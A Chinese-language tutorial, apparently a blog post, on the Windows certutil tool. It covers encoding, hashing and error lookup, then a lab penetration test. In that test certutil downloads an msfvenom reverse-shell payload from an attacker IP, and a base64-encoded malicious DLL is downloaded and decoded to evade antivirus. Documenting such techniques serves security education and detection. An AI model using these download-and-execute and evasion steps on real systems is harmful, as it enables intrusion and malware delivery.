工具介绍
certutil是windows下一款下载文件的工具,自从WindowsServer2003就自带,但是在Server 2003使用会有问题,也就是说,以下命令是在Win7及其以后的机器中使用。其功能可校验文件MD5,SHA1,SHA256,下载恶意文件和免杀
Certutil
Certutil是一个CLI程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务,CA组件的备份和还原以及验证证书,密钥对和证书链,它作为证书服务的一部分安装
作为系统工具的它为什么会成为一个攻击工具(后门)?看下面演示
功能介绍
编码
Certutil包含一个编码参数(编码)。这有助于在Base64中编码文件的内容。这是在Windows中等效于Linux中的base64命令。
不能打开.exe可执行文件时候,可以使用certutil对可执行文件进行编码。然后传输编码后的数据,然后在接收机上对其进行解码。
这里创建一个名为test.txt的文本文件,输入一些内容,打开powershell
命令:Add-Content test.txt “ni hao”
type .\test.txt
编码(base64)
命令:certutil -encode test.txt encode.txt
type .\encode.txt
编码(十六进制)
命令:certutil -encodehex test.txt encode2.txt
type .\encode2.txt
解码
解码(base64)
命令:type .\encode.txt
certutil -decode encode.txt decode.txt
Type .\decode.txt
解码(十六进制)
散列
获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。
命令:certutil -hashfile生成指定哈希值
命令:certutil -hashfile test.txt md5(生成md5)
命令:certutil -hashfile test.txt sha1(生成sha1)
命令:certutil -hashfile test.txt sha256(生成sha256)
下载
certutil还可用于从互联网下载文件
这里从服务器下载xss.js
命令:certutil.exe -urlcache -split -f http://服务器ip:8000/xss.js
系统错误代码
Certutil可以帮助你找到系统错误代码的消息文本,查看系统错误代码的含义
命令:certutil -error 8200
命令:certutil -error 0x200
使用Certutil进行渗透测试
环境:攻击机(kali 192.168.211.129)
靶机(win7 192.168.211.128)
Certutil可在未经任何验证或评估的情况下主动从Internet下载文件
Certutil可用于将文件从一个系统复制到另一个系统,以在攻击过程中横向移动一些攻击工具或其他文件
这里用msf中的msfvenom生成一个反向链接负载
通过python传输
同时kali机器msf开启监听
在靶机上通过certutil下载该文件并运行
返回查看监听
成功反弹shell
成功使用certutil和恶意可执行文件来Getshell
提交恶意DLL编码
Certutil可对文件进行base64编码,攻击者可以使用经过混淆的文件来隐藏扫描攻击的证据,然后再解码这些文件,这就是certutil发挥作用的地方,可以解码数据并避免杀毒软件的察觉。Certutil还可以用于解码已隐藏在证书文件中的可移植可执行文件。
有效载荷可以被编码或加密,以避免被检测
还是生成有效负载,有效负载的格式在动态链接库文件.dll中设置,命名为dll.txt
开起监听
在靶机上下载该文件,并且谨慎进行,文件被下载为文本文件且被编译成另一个文本文件,此时下载的是两个文件
命令:certutil -urlcache -split -f http://192.168.211.129:8000/dll.txt | certutil -encode dll.txt edll.txt
然后进行解码并保存在exploit.dll(杀毒软件不会察觉),运行dll
查看监听
成功使用certutil和恶意编码的可执行文件Getshell
参考链接:https://zhuanlan.zhihu.com/p/107819644